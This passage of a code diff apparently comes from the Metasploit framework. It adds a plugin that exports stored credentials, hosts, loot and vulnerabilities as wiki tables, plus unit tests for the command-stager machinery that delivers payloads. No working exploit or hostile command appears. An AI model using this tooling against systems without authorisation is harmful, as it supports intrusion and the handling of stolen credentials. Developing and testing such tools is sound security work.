table we should be looking at + command = args.shift + if command.nil? or not(["creds","hosts","loot","services","vulns"].include?(command.downcase)) + usage(wiki_type) + return + end + + # Parse the rest of the arguments + while (arg = args.shift) + case arg + when '-o','--output' + tbl_opts[:file_name] = next_opt(args) + when '-h','--help' + usage(wiki_type) + return + when '-l', '-L', '--link', '--links' + tbl_opts[:links] = true + when '-n', '-N', '--namespace' + tbl_opts[:namespace] = next_opt(args) + when '-p', '-P', '--port', '--ports' + tbl_opts[:ports] = next_opts(args) + tbl_opts[:ports].map! {|p| p.to_i} + when '-s', '-S', '--search' + tbl_opts[:search] = next_opt(args) + when '-i', '-I', '--heading-size' + heading_size = next_opt(args) + tbl_opts[:heading_size] = heading_size.to_i unless heading_size.nil? + else + # Assume it is a host + rw = Rex::Socket::RangeWalker.new(arg) + if rw.valid? + rw.each do |ip| + tbl_opts[:hosts] << ip + end + else + print_warning "#{arg} is an invalid hostname" + end + end + end + + # Create an Array to hold a list of tables that we want to show + outputs = [] + + # Output the table + if respond_to? "#{command}_to_table" + table = send "#{command}_to_table", tbl_opts + if table.respond_to? "to_#{wiki_type}" + if tbl_opts[:file_name] + print_status("Wrote the #{command} table to a file as a #{wiki_type} formatted table") + File.open(tbl_opts[:file_name],"wb") {|f| + f.write(table.send "to_#{wiki_type}") + } + else + print_line table.send "to_#{wiki_type}" + end + return + end + end + usage(wiki_type) + end + + # + # Gets the next set of arguments when parsing command options + # + # *Note:* This will modify the provided argument list + # + # @param [Array] args the list of unparsed arguments + # @return [Array] the unique list of items before the next '-' in the + # provided array + # + def next_opts(args) + opts = [] + while ( opt = args.shift ) + if opt =~ /^-/ + args.unshift opt + break + end + opts.concat ( opt.split(',') ) + end + return opts.uniq + end + + # + # Gets the next argument when parsing command options + # + # *Note:* This will modify the provided argument list + # + # @param [Array] args the list of unparsed arguments + # @return [String, nil] the argument or nil if the argument starts with a '-' + # + def next_opt(args) + return nil if args[0] =~ /^-/ + args.shift + end + + # + # Outputs the help message + # + # @param [String] cmd_name the type of the wiki output command to display + # help for + # + def usage(cmd_name = "<wiki cmd>") + print_line "Usage: #{cmd_name} <table> [options] [IP1 IP2,IPn]" + print_line + print_line "The first argument must be the type of table to retrieve:" + print_line " creds, hosts, loot, services, vulns" + print_line + print_line "OPTIONS:" + print_line " -l,--link Enables links for host addresses" + print_line " -n,--namespace <ns> Changes the default namespace for host links" + print_line " -o,--output <file> Write output to a file" + print_line " -p,--port <ports> Only return results that relate to given ports" + print_line " -s,--search <search> Only show results that match the provided text" + print_line " -i,--heading-size <1-6> Changes the heading size" + print_line " -h,--help Displays this menu" + print_line + end + + # + # Outputs credentials in the database (within the current workspace) as a Rex table object + # @param [Hash] opts + # @option opts [Array<String>] :hosts contains list of hosts used to limit results + # @option opts [Array<Fixnum>] :ports contains list of ports used to limit results + # @option opts [String] :search limits results to those containing a provided string + # @return [Rex::Ui::Text::Table] table containing credentials + # + def creds_to_table(opts = {}) + tbl = Rex::Ui::Text::Table.new({'Columns' => ['host','port','user','pass','type','proof','active?']}) + tbl.header = 'Credentials' + tbl.headeri = opts[:heading_size] + framework.db.creds.each do |cred| + unless opts[:hosts].nil? or opts[:hosts].empty? + next unless opts[:hosts].include? cred.service.host.address + end + unless opts[:ports].nil? + next unless opts[:ports].any? {|p| cred.service.port.eql? p} + end + address = cred.service.host.address + address = to_wikilink(address,opts[:namespace]) if opts[:links] + row = [ + address, + cred.service.port, + cred.user, + cred.pass, + cred.ptype, + cred.proof, + cred.active + ] + if opts[:search] + tbl << row if row.any? {|r| /#{opts[:search]}/i.match r.to_s} + else + tbl << row + end + end + return tbl + end + + # + # Outputs host information stored in the database (within the current + # workspace) as a Rex table object + # @param [Hash] opts + # @option opts [Array<String>] :hosts contains list of hosts used to limit results + # @option opts [Array<String>] :ports contains list of ports used to limit results + # @option opts [String] :search limits results to those containing a provided string + # @return [Rex::Ui::Text::Table] table containing credentials + # + def hosts_to_table(opts = {}) + tbl = Rex::Ui::Text::Table.new({'Columns' => ['address','mac','name','os_name','os_flavor','os_sp','purpose','info','comments']}) + tbl.header = 'Hosts' + tbl.headeri = opts[:heading_size] + framework.db.hosts.each do |host| + unless opts[:hosts].nil? or opts[:hosts].empty? + next unless opts[:hosts].include? host.address + end + unless opts[:ports].nil? + next unless (host.services.map{|s| s[:port]}).any? {|p| opts[:ports].include? p} + end + address = host.address + address = to_wikilink(address,opts[:namespace]) if opts[:links] + row = [ + address, + host.mac, + host.name, + host.os_name, + host.os_flavor, + host.os_sp, + host.purpose, + host.info, + host.comments + ] + if opts[:search] + tbl << row if row.any? {|r| /#{opts[:search]}/i.match r.to_s} + else + tbl << row + end + end + return tbl + end + + # + # Outputs loot information stored in the database (within the current + # workspace) as a Rex table object + # @param [Hash] opts + # @option opts [Array<String>] :hosts contains list of hosts used to limit results + # @option opts [Array<String>] :ports contains list of ports used to limit results + # @option opts [String] :search limits results to those containing a provided string + # @return [Rex::Ui::Text::Table] table containing credentials + # + def loot_to_table(opts = {}) + tbl = Rex::Ui::Text::Table.new({'Columns' => ['host','service','type','name','content','info','path']}) + tbl.header = 'Loot' + tbl.headeri = opts[:heading_size] + framework.db.loots.each do |loot| + unless opts[:hosts].nil? or opts[:hosts].empty? + next unless opts[:hosts].include? loot.host.address + end + unless opts[:ports].nil? or opts[:ports].empty? + next if loot.service.nil? or loot.service.port.nil? or not opts[:ports].include? loot.service.port + end + if loot.service + svc = (loot.service.name ? loot.service.name : "#{loot.service.port}/#{loot.service.proto}") + end + address = loot.host.address + address = to_wikilink(address,opts[:namespace]) if opts[:links] + row = [ + address, + svc || "", + loot.ltype, + loot.name, + loot.content_type, + loot.info, + loot.path + ] + if opts[:search] + tbl << row if row.any? {|r| /#{opts[:search]}/i.match r.to_s} + else + tbl << row + end + end + return tbl + end + + # + # Outputs service information stored in the database (within the current + # workspace) as a Rex table object + # @param [Hash] opts + # @option opts [Array<String>] :hosts contains list of hosts used to limit results + # @option opts [Array<String>] :ports contains list of ports used to limit results + # @option opts [String] :search limits results to those containing a provided string + # @return [Rex::Ui::Text::Table] table containing credentials + # + def services_to_table(opts = {}) + tbl = Rex::Ui::Text::Table.new({'Columns' => ['host','port','proto','name','state','info']}) + tbl.header = 'Services' + tbl.headeri = opts[:heading_size] + framework.db.services.each do |service| + unless opts[:hosts].nil? or opts[:hosts].empty? + next unless opts[:hosts].include? service.host.address + end + unless opts[:ports].nil? or opts[:ports].empty? + next unless opts[:ports].any? {|p| service[:port].eql? p} + end + address = service.host.address + address = to_wikilink(address,opts[:namespace]) if opts[:links] + row = [ + address, + service.port, + service.proto, + service.name, + service.state, + service.info + ] + if opts[:search] + tbl << row if row.any? {|r| /#{opts[:search]}/i.match r.to_s} + else + tbl << row + end + end + return tbl + end + + # + # Outputs vulnerability information stored in the database (within the current + # workspace) as a Rex table object + # @param [Hash] opts + # @option opts [Array<String>] :hosts contains list of hosts used to limit results + # @option opts [Array<String>] :ports contains list of ports used to limit results + # @option opts [String] :search limits results to those containing a provided string + # @return [Rex::Ui::Text::Table] table containing credentials + # + def vulns_to_table(opts = {}) + tbl = Rex::Ui::Text::Table.new({'Columns' => ['Title','Host','Port','Info','Detail Count','Attempt Count','Exploited At','Updated At']}) + tbl.header = 'Vulns' + tbl.headeri = opts[:heading_size] + framework.db.vulns.each do |vuln| + unless opts[:hosts].nil? or opts[:hosts].empty? + next unless opts[:hosts].include? vuln.host.address + end + unless opts[:ports].nil? or opts[:ports].empty? + next unless opts[:ports].any? {|p| vuln.service.port.eql? p} + end + address = vuln.host.address + address = to_wikilink(address,opts[:namespace]) if opts[:links] + row = [ + vuln.name, + address, + (vuln.service ? vuln.service.port : ""), + vuln.info, + vuln.vuln_detail_count, + vuln.vuln_attempt_count, + vuln.exploited_at, + vuln.updated_at, + ] + if opts[:search] + tbl << row if row.any? {|r| /#{opts[:search]}/i.match r.to_s} + else + tbl << row + end + end + return tbl + end + + # + # Converts a value to a wiki link + # @param [String] text value to convert to a link + # @param [String] namespace optional namespace to set for the link + # @return [String] the formated wiki link + def to_wikilink(text,namespace = "") + return "[[" + namespace + text + "]]" + end + + end + + + # + # Plugin Initialization + # + + + # + # Constructs a new instance of the plugin and registers the console + # dispatcher. It also extends Rex by adding the following methods: + # * Rex::Ui::Text::Table.to_dokuwiki + # * Rex::Ui::Text::Table.to_mediawiki + # + def initialize(framework, opts) + super + + # Extend Rex::Ui::Text::Table class so it can output wiki formats + add_dokuwiki_to_rex + add_mediawiki_to_rex + + # Add the console dispatcher + add_console_dispatcher(WikiCommandDispatcher) + end + + # + # The cleanup routine removes the methods added to Rex by the plugin + # initialization and then removes the console dispatcher + # + def cleanup + # Cleanup methods added to Rex::Ui::Text::Table + Rex::Ui::Text::Table.class_eval { undef :to_dokuwiki } + Rex::Ui::Text::Table.class_eval { undef :to_mediawiki } + # Deregister the console dispatcher + remove_console_dispatcher('Wiki') + end + + # + # Returns the plugin's name. + # + def name + "wiki" + end + + # + # This method returns a brief description of the plugin. It should be no + # more than 60 characters, but there are no hard limits. + # + def desc + "Adds output to wikitext" + end + + + # + # The following methods are added here to keep the initialize method + # readable + # + + + # + # Extends Rex tables to be able to create Dokuwiki tables + # + def add_dokuwiki_to_rex + Rex::Ui::Text::Table.class_eval do + def to_dokuwiki + str = prefix.dup + # Print the header if there is one. Use headeri to determine wiki paragraph level + if header + level = "=" * headeri + str << level + header + level + "\n" + end + # Add the column names to the top of the table + columns.each do |col| + str << "^ " + col.to_s + " " + end + str << "^\n" unless columns.count.eql? 0 + # Fill out the rest of the table with rows + rows.each do |row| + row.each do |val| + cell = val.to_s + cell = "<nowiki>#{cell}</nowiki>" if cell.include? "|" + str << "| " + cell + " " + end + str << "|\n" unless rows.count.eql? 0 + end + return str + end + end + end + + # + # Extends Rex tables to be able to create Mediawiki tables + # + def add_mediawiki_to_rex + Rex::Ui::Text::Table.class_eval do + def to_mediawiki + str = prefix.dup + # Print the header if there is one. Use headeri to determine wiki + # headline level. Mediawiki does headlines a bit backwards so that + # the header level isn't limited. This results in the need to 'flip' + # the headline length to standardize it. + if header + if headeri <= 6 + level = "=" * (-headeri + 7) + str << "#{level} #{header} #{level}" + else + str << "#{header}" + end + str << "\n" + end + # Setup the table with some standard formatting options + str << "{|class=\"wikitable\"\n" + # Output formated column names as the first row + unless columns.count.eql? 0 + str << "!" + str << columns.join("!!") + str << "\n" + end + # Add the rows to the table + unless rows.count.eql? 0 + rows.each do |row| + str << "|-\n|" + # Try and prevent formatting tags from causing problems + bad = ['&','<','>','"',"'",'/'] + r = row.join("|| ") + r.each_char do |c| + if bad.include? c + str << Rex::Text.html_encode(c) + else + str << c + end + end + str << "\n" + end + end + # Finish up the table + str << "|}" + return str + end + end + end + +protected +end +end diff --git a/spec/lib/msf/core/exploit/cmdstager_spec.rb b/spec/lib/msf/core/exploit/cmdstager_spec.rb new file mode 100644 index 0000000000..b6e444a24a --- /dev/null +++ b/spec/lib/msf/core/exploit/cmdstager_spec.rb @@ -0,0 +1,698 @@ +require 'spec_helper' + +require 'msf/core' +require 'msf/core/exploit/cmdstager' + +describe Msf::Exploit::CmdStager do + + def create_exploit(info ={}) + mod = Msf::Exploit.allocate + mod.extend described_class + mod.send(:initialize, info) + mod + end + + describe "#select_cmdstager" do + + subject do + create_exploit + end + + context "when no flavor" do + + it "raises ArgumentError" do + expect { subject.select_cmdstager }.to raise_error(ArgumentError, /Unable to select CMD Stager/) + end + end + + context "when correct flavor" do + + context "with default decoder" do + + let(:flavor) do + :vbs + end + + before do + subject.select_cmdstager(:flavor => flavor) + end + + it "selects flavor" do + expect(subject.flavor).to eq(flavor) + end + + it "selects default decoder" do + expect(subject.decoder).to eq(subject.default_decoder(flavor)) + end + end + + context "without default decoder" do + + let(:flavor) do + :tftp + end + + before do + subject.select_cmdstager(:flavor => flavor) + end + + it "selects flavor" do + expect(subject.flavor).to eq(flavor) + end + + it "hasn't decoder" do + expect(subject.decoder).to be_nil + end + end + + context "with incompatible target" do + + subject do + create_exploit({ + 'DefaultTarget' => 0, + 'Targets' => + [ + ['Linux', + { + 'Platform' => 'linux', + 'CmdStagerFlavor' => 'tftp' + } + ] + ] + }) + end + + let(:flavor) do + :vbs + end + + it "raises ArgumentError" do + expect { subject.select_cmdstager(:flavor => flavor) }.to raise_error(ArgumentError, /The CMD Stager '\w+' isn't compatible with the target/) + end + end + end + end + + describe "#default_decoder" do + + subject do + create_exploit + end + + context "when valid flavor as input" do + + context "with default decoder" do + let(:flavor) do + :vbs + end + + let(:expected_decoder) do + described_class::DECODERS[:vbs] + end + + it "returns the decoder path" do + expect(subject.default_decoder(flavor)).to eq(expected_decoder) + end + end + + context "without default decoder" do + let(:flavor) do + :bourne + end + + it "returns nil" do + expect(subject.default_decoder(flavor)).to be_nil + end + end + end + + context "when invalid flavor as input" do + let(:flavor) do + :invalid_flavor + end + + it "returns nil" do + expect(subject.default_decoder(flavor)).to be_nil + end + end + + context "when nil flavor as input" do + let(:flavor) do + nil + end + + it "should be nil" do + expect(subject.default_decoder(flavor)).to be_nil + end + end + end + + describe "#module_flavors" do + + context "when the module hasn't CmdStagerFlavor info" do + + context "neither the target" do + + subject do + create_exploit + end + + it "returns empty array" do + expect(subject.module_flavors).to eq([]) + end + end + + context "the target has CmdStagerFlavor info" do + + subject do + create_exploit({ + 'DefaultTarget' => 0, + 'Targets' => + [ + ['Windows', + { + 'CmdStagerFlavor' => 'vbs' + } + ] + ] + }) + end + + let(:expected_flavor) do + ['vbs'] + end + + it "returns an array with the target flavor" do + expect(subject.module_flavors).to eq(expected_flavor) + end + end + end + + context "when the module has CmdStagerFlavor info" do + + context "but the target hasn't CmdStagerFlavor info" do + + subject do + create_exploit('CmdStagerFlavor' => 'vbs') + end + + let(:expected_flavor) do + ['vbs'] + end + + it "returns an array with the module flavor" do + expect(subject.module_flavors).to eq(expected_flavor) + end + end + + context "and the target has CmdStagerFlavor info" do + + subject do + create_exploit({ + 'CmdStagerFlavor' => 'vbs', + 'DefaultTarget' => 0, + 'Targets' => + [ + ['Windows TFTP', + { + 'CmdStagerFlavor' => 'tftp' + } + ] + ] + }) + end + + let(:expected_flavor) do + ['vbs', 'tftp'] + end + + it "returns an array with all the flavors available to the module" do + expect(subject.module_flavors).to eq(expected_flavor) + end + end + end + end + + describe "#target_flavor" do + + context "when the module hasn't CmdStagerFlavor info" do + + context "neither the target" do + + subject do + create_exploit + end + + it "returns nil" do + expect(subject.target_flavor).to be_nil + end + end + + context "the target has CmdStagerFlavor info" do + + subject do + create_exploit({ + 'DefaultTarget' => 0, + 'Targets' => + [ + ['Windows', + { + 'CmdStagerFlavor' => 'vbs' + } + ] + ] + }) + end + + let(:expected_flavor) do + 'vbs' + end + + it "returns the target flavor" do + expect(subject.target_flavor).to eq(expected_flavor) + end + end + end + + context "when the module has CmdStagerFlavor info" do + + context "but the target hasn't CmdStagerFlavor info" do + + subject do + create_exploit('CmdStagerFlavor' => 'vbs') + end + + let(:expected_flavor) do + 'vbs' + end + + it "returns the module flavor" do + expect(subject.target_flavor).to eq(expected_flavor) + end + end + + context "and the target has CmdStagerFlavor info" do + + subject do + create_exploit({ + 'CmdStagerFlavor' => 'vbs', + 'DefaultTarget' => 0, + 'Targets' => + [ + ['Windows TFTP', + { + 'CmdStagerFlavor' => 'tftp' + } + ] + ] + }) + end + + let(:expected_flavor) do + 'tftp' + end + + it "returns the target flavor" do + expect(subject.target_flavor).to eq(expected_flavor) + end + end + end + end + + describe "#compatible_flavor?" do + + context "when there isn't target flavor" do + + subject do + create_exploit + end + + let(:flavor) do + :vbs + end + + it "is compatible" do + expect(subject.compatible_flavor?(flavor)).to be_true + end + end + + context "when the target flavor is a string" do + + subject do + create_exploit('CmdStagerFlavor' => 'vbs') + end + + context "and good flavor" do + let(:flavor) do + :vbs + end + + it "is compatible" do + expect(subject.compatible_flavor?(flavor)).to be_true + end + end + + context "and bad flavor" do + let(:flavor) do + :tftp + end + + it "isn't compatible" do + expect(subject.compatible_flavor?(flavor)).to be_false + end + end + end + + context "when the target flavor is a symbol" do + + subject do + create_exploit('CmdStagerFlavor' => :vbs) + end + + context "and good flavor" do + let(:flavor) do + :vbs + end + + it "is compatible" do + expect(subject.compatible_flavor?(flavor)).to be_true + end + end + + context "and bad flavor" do + let(:flavor) do + :tftp + end + + it "isn't compatible" do + expect(subject.compatible_flavor?(flavor)).to be_false + end + end + end + + context "when the target flavor is an Array" do + + subject do + create_exploit('CmdStagerFlavor' => ['vbs', :tftp]) + end + + context "and good flavor" do + let(:flavor) do + :vbs + end + + it "is compatible" do + expect(subject.compatible_flavor?(flavor)).to be_true + end + end + + context "and bad flavor" do + let(:flavor) do + :echo + end + + it "isn't compatible" do + expect(subject.compatible_flavor?(flavor)).to be_false + end + end + + end + end + + describe "#guess_flavor" do + + context "when the module hasn't targets" do + + context "neither platforms" do + subject do + create_exploit + end + + it "doesn't guess" do + expect(subject.guess_flavor).to be_nil + end + end + + context "but platforms" do + + context "one platform with default flavor" do + let(:platform) do + 'win' + end + + let(:expected_flavor) do + :vbs + end + + subject do + create_exploit('Platform' => platform) + end + + it "guess the platform defulat flavor" do + expect(subject.guess_flavor).to eq(expected_flavor) + end + end + + context "one platform without default flavor" do + let (:platform) do + 'java' + end + + subject do + create_exploit('Platform' => platform) + end + + it "doesn't guess" do + expect(subject.guess_flavor).to be_nil + end + end + + context "two platforms" do + let(:platform) do + ['unix', 'linux'] + end + + subject do + create_exploit('Platform' => platform) + end + + it "doesn't guess" do + expect(subject.guess_flavor).to be_nil + end + end + end + end + + context "when the module has one target" do + + context "and the target has one platform" do + + context "with default flavor"do + let (:expected_flavor) do + :vbs + end + + let (:platform) do + 'win' + end + + subject do + create_exploit({ + 'DefaultTarget' => 0, + 'Targets' => + [ + ['Windows', + { + 'Platform' => platform + } + ] + ] + }) + end + + it "guess the target flavor" do + expect(subject.guess_flavor).to eq(expected_flavor) + end + + end + + context "without default flavor" do + let (:platform) do + 'java' + end + + subject do + create_exploit({ + 'DefaultTarget' => 0, + 'Targets' => + [ + ['Java', + { + 'Platform' => platform + } + ] + ] + }) + end + + it "doesn't guess" do + expect(subject.guess_flavor).to be_nil + end + end + end + + context "the target has two platforms" do + subject do + create_exploit({ + 'DefaultTarget' => 0, + 'Targets' => + [ + ['MultiPlatform', + { + 'Platform' => %w{ linux unix} + } + ] + ] + }) + end + + it "doesn't guess" do + expect(subject.guess_flavor).to be_nil + end + end + end + end + + describe "#select_flavor" do + + context "when flavor set in the datastore" do + + subject do + create_exploit({ + 'DefaultOptions' => { + 'CMDSTAGER::FLAVOR' => 'vbs' + } + }) + end + + let(:datastore_flavor) do + :vbs + end + + it "returns the datastore flavor" do + expect(subject.select_flavor).to eq(datastore_flavor) + end + + context "and flavor set in the opts" do + + let(:opts_flavor) do + :bourne + end + + it "returns the opts flavor" do + expect(subject.select_flavor(:flavor => :bourne)).to eq(opts_flavor) + end + end + end + end + + describe "#select_decoder" do + + context "when decoder set in the datastore" do + + let(:decoder) do + File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64") + end + + subject do + create_exploit({ + 'DefaultOptions' => { + 'CMDSTAGER::DECODER' => decoder + } + }) + end + + it "returns datastore flavor" do + expect(subject.select_decoder).to eq(decoder) + end + + context "and decoder set in the opts" do + + let(:decoder_opts) do + File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64_adodb") + end + + it "returns the decoder_opts" do + expect(subject.select_decoder(:decoder => decoder_opts)).to eq(decoder_opts) + end + end + end + end + + describe "#opts_with_decoder" do + subject do + create_exploit + end + + context "with :decoder option" do + + let(:decoder) do + File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64") + end + + it "returns the :decoder option" do + expect(subject.opts_with_decoder(:decoder => decoder)).to include(:decoder) + end + end + + context "without decoder option" do + it ":hasn't decoder option" do + expect(subject.opts_with_decoder).not_to include(:decoder) + end + end + + end + + describe "#create_stager" do + subject do + create_exploit + end + + context "with correct flavor" do + + let(:flavor) do + :vbs + end + + let(:expected_class) do + described_class::STAGERS[flavor] + end + + before do + subject.flavor = flavor + end + + it "creates the correct instance" do + expect(subject.create_stager.class).to eq(expected_class) + end + end + + context "with incorrect flavor" do + let(:flavor) do + :incorrect_flavor + end + + let(:expected_class) do + described_class::STAGERS[flavor] + end + + before do + subject.flavor = flavor + end + + it "raises a NoMethodError" do + expect { subject.create_stager }.to raise_error(NoMethodError) + end + end + end +end diff --git a/spec/lib/msf/core/framework_spec.rb b/spec/lib/msf/core/framework_spec.rb index c6eadf591b..7c96718f7d 100644 --- a/spec/lib/msf/core/framework_spec.rb +++ b/spec/lib/msf/core/framework_spec.rb @@ -6,7 +6,7 @@ require 'msf/core/framework' describe Msf::Framework do describe "#version" do - CURRENT_VERSION = "4.9.2-dev" + CURRENT_VERSION = "4.9.3-dev" subject do described_class.new diff --git a/spec/lib/msf/ui/command_dispatcher/core_spec.rb b/spec/lib/msf/ui/command_dispatcher/core_spec.rb index 69693eb5b8..f83188c8cf 100644 --- a/spec/lib/msf/ui/command_dispatcher/core_spec.rb +++ b/spec/lib/msf/ui/command_dispatcher/core_spec.rb @@ -82,7 +82,7 @@ describe Msf::Ui::Console::CommandDispatcher::Core do end it 'should have disclosure date in second column' do - cell(printed_table, 0, 1).should include(module_detail.disclosure_date.to_s) + cell(printed_table, 0, 1).should include(module_detail.disclosure_date.strftime("%Y-%m-%d")) end it 'should have rank name in third column' do diff --git a/spec/lib/msf/ui/command_dispatcher/db_spec.rb b/spec/lib/msf/ui/command_dispatcher/db_spec.rb index f5dde21917..52baca5d93 100644 --- a/spec/lib/msf/ui/command_dispatcher/db_spec.rb +++ b/spec/lib/msf/ui/command_dispatcher/db_spec.rb @@ -221,25 +221,38 @@ describe Msf::Ui::Console::CommandDispatcher::Db do "Usage: db_import <filename> [file2...]", "Filenames can be globs like *.xml, or **/*.xml which will search recursively", "Currently supported file types include:", - " Acunetix XML", + " Acunetix", " Amap Log", " Amap Log -m", - " Appscan XML", + " Appscan", " Burp Session XML", - " Foundstone XML", + " CI", + " Foundstone", + " FusionVM XML", + " IP Address List", " IP360 ASPL", " IP360 XML v3", + " Libpcap Packet Capture", + " Metasploit PWDump Export", + " Metasploit XML", + " Metasploit Zip Export", " Microsoft Baseline Security Analyzer", - " Nessus NBE", - " Nessus XML (v1 and v2)", - " NetSparker XML", " NeXpose Simple XML", " NeXpose XML Report", + " Nessus NBE Report", + " Nessus XML (v1)", + " Nessus XML (v2)", + " NetSparker XML", + " Nikto XML", " Nmap XML", " OpenVAS Report", + " OpenVAS XML", + " Outpost24 XML", " Qualys Asset XML", " Qualys Scan XML", - " Retina XML" + " Retina XML", + " Spiceworks CSV Export", + " Wapiti XML" ] end end diff --git a/spec/lib/rex/exploitation/cmdstager/base_spec.rb b/spec/lib/rex/exploitation/cmdstager/base_spec.rb new file mode 100644 index 0000000000..7667ce19b9 --- /dev/null +++ b/spec/lib/rex/exploitation/cmdstager/base_spec.rb @@ -0,0 +1,26 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/exploitation/cmdstager' + +describe Rex::Exploitation::CmdStagerBase do + + let(:exe) { "MZ" } + + subject(:cmd_stager) do + described_class.new(exe) + end + + describe '#cmd_concat_operator' do + it "returns nil" do + expect(cmd_stager.cmd_concat_operator).to be_nil + end + end + + describe '#generate' do + it "returns an empty array" do + expect(cmd_stager.generate).to eq([]) + end + end + +end diff --git a/spec/lib/rex/exploitation/cmdstager/bourne_spec.rb b/spec/lib/rex/exploitation/cmdstager/bourne_spec.rb new file mode 100644 index 0000000000..0a072db8a9 --- /dev/null +++ b/spec/lib/rex/exploitation/cmdstager/bourne_spec.rb @@ -0,0 +1,29 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/exploitation/cmdstager' + +describe Rex::Exploitation::CmdStagerBourne do + + let(:exe) { "MZ" } + + subject(:cmd_stager) do + described_class.new(exe) + end + + describe '#cmd_concat_operator' do + it "returns ;" do + expect(cmd_stager.cmd_concat_operator).to eq(" ; ") + end + end + + describe '#generate' do + it "returns an array of commands" do + result = cmd_stager.generate + + expect(result).to be_kind_of(Array) + expect(result).to_not be_empty + end + end + +end diff --git a/spec/lib/rex/exploitation/cmdstager/debug_asm_spec.rb b/spec/lib/rex/exploitation/cmdstager/debug_asm_spec.rb new file mode 100644 index 0000000000..06d53c477e --- /dev/null +++ b/spec/lib/rex/exploitation/cmdstager/debug_asm_spec.rb @@ -0,0 +1,35 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/exploitation/cmdstager' + +describe Rex::Exploitation::CmdStagerDebugAsm do + + let(:exe) { "MZ" } + + subject(:cmd_stager) do + described_class.new(exe) + end + + describe '#cmd_concat_operator' do + it "returns &" do + expect(cmd_stager.cmd_concat_operator).to eq(" & ") + end + end + + describe '#generate' do + let(:opts) do + { + :decoder => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "debug_asm") + } + end + + it "returns an array of commands" do + result = cmd_stager.generate(opts) + + expect(result).to be_kind_of(Array) + expect(result).to_not be_empty + end + end + +end diff --git a/spec/lib/rex/exploitation/cmdstager/debug_write_spec.rb b/spec/lib/rex/exploitation/cmdstager/debug_write_spec.rb new file mode 100644 index 0000000000..b70e228ada --- /dev/null +++ b/spec/lib/rex/exploitation/cmdstager/debug_write_spec.rb @@ -0,0 +1,35 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/exploitation/cmdstager' + +describe Rex::Exploitation::CmdStagerDebugWrite do + + let(:exe) { "MZ" } + + subject(:cmd_stager) do + described_class.new(exe) + end + + describe '#cmd_concat_operator' do + it "returns &" do + expect(cmd_stager.cmd_concat_operator).to eq(" & ") + end + end + + describe '#generate' do + let(:opts) do + { + :decoder => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "debug_write") + } + end + + it "returns an array of commands" do + result = cmd_stager.generate(opts) + + expect(result).to be_kind_of(Array) + expect(result).to_not be_empty + end + end + +end diff --git a/spec/lib/rex/exploitation/cmdstager/echo_spec.rb b/spec/lib/rex/exploitation/cmdstager/echo_spec.rb new file mode 100644 index 0000000000..a3d91f2382 --- /dev/null +++ b/spec/lib/rex/exploitation/cmdstager/echo_spec.rb @@ -0,0 +1,29 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/exploitation/cmdstager' + +describe Rex::Exploitation::CmdStagerEcho do + + let(:exe) { "MZ" } + + subject(:cmd_stager) do + described_class.new(exe) + end + + describe '#cmd_concat_operator' do + it "returns ;" do + expect(cmd_stager.cmd_concat_operator).to eq(" ; ") + end + end + + describe '#generate' do + it "returns an array of commands" do + result = cmd_stager.generate + + expect(result).to be_kind_of(Array) + expect(result).to_not be_empty + end + end + +end diff --git a/spec/lib/rex/exploitation/cmdstager/printf_spec.rb b/spec/lib/rex/exploitation/cmdstager/printf_spec.rb new file mode 100644 index 0000000000..02927f7ecb --- /dev/null +++ b/spec/lib/rex/exploitation/cmdstager/printf_spec.rb @@ -0,0 +1,29 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/exploitation/cmdstager' + +describe Rex::Exploitation::CmdStagerPrintf do + + let(:exe) { "MZ" } + + subject(:cmd_stager) do + described_class.new(exe) + end + + describe '#cmd_concat_operator' do + it "returns ;" do + expect(cmd_stager.cmd_concat_operator).to eq(" ; ") + end + end + + describe '#generate' do + it "returns an array of commands" do + result = cmd_stager.generate + + expect(result).to be_kind_of(Array) + expect(result).to_not be_empty + end + end + +end diff --git a/spec/lib/rex/exploitation/cmdstager/tftp_spec.rb b/spec/lib/rex/exploitation/cmdstager/tftp_spec.rb new file mode 100644 index 0000000000..813533fd4d --- /dev/null +++ b/spec/lib/rex/exploitation/cmdstager/tftp_spec.rb @@ -0,0 +1,29 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/exploitation/cmdstager' + +describe Rex::Exploitation::CmdStagerTFTP do + + let(:exe) { "MZ" } + + subject(:cmd_stager) do + described_class.new(exe) + end + + describe '#cmd_concat_operator' do + it "returns nil" do + expect(cmd_stager.cmd_concat_operator).to be_nil + end + end + + describe '#generate' do + it "returns an array of commands" do + result = cmd_stager.generate + + expect(result).to be_kind_of(Array) + expect(result).to_not be_empty + end + end + +end diff --git a/spec/lib/rex/exploitation/cmdstager/vbs_spec.rb b/spec/lib/rex/exploitation/cmdstager/vbs_spec.rb new file mode 100644 index 0000000000..9b30c4cceb --- /dev/null +++ b/spec/lib/rex/exploitation/cmdstager/vbs_spec.rb @@ -0,0 +1,35 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/exploitation/cmdstager' + +describe Rex::Exploitation::CmdStagerVBS do + + let(:exe) { "MZ" } + + subject(:cmd_stager) do + described_class.new(exe) + end + + describe '#cmd_concat_operator' do + it "returns &" do + expect(cmd_stager.cmd_concat_operator).to eq(" & ") + end + end + + describe '#generate' do + let(:opts) do + { + :decoder => File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64") + } + end + + it "returns an array of commands" do + result = cmd_stager.generate(opts) + + expect(result).to be_kind_of(Array) + expect(result).to_not be_empty + end + end + +end diff --git a/spec/lib/rex/post/meterpreter/client_core_spec.rb b/spec/lib/rex/post/meterpreter/client_core_spec.rb new file mode 100644 index 0000000000..ba65b92fdd --- /dev/null +++ b/spec/lib/rex/post/meterpreter/client_core_spec.rb @@ -0,0 +1,53 @@ +require 'spec_helper' +require 'rex/post/meterpreter/client_core' + +describe Rex::Post::Meterpreter::ClientCore do + + it "should be available" do + expect(described_class).to eq(Rex::Post::Meterpreter::ClientCore) + end + + describe "#use" do + + before(:each) do + @response = double("response") + allow(@response).to receive(:result) { 0 } + allow(@response).to receive(:each) 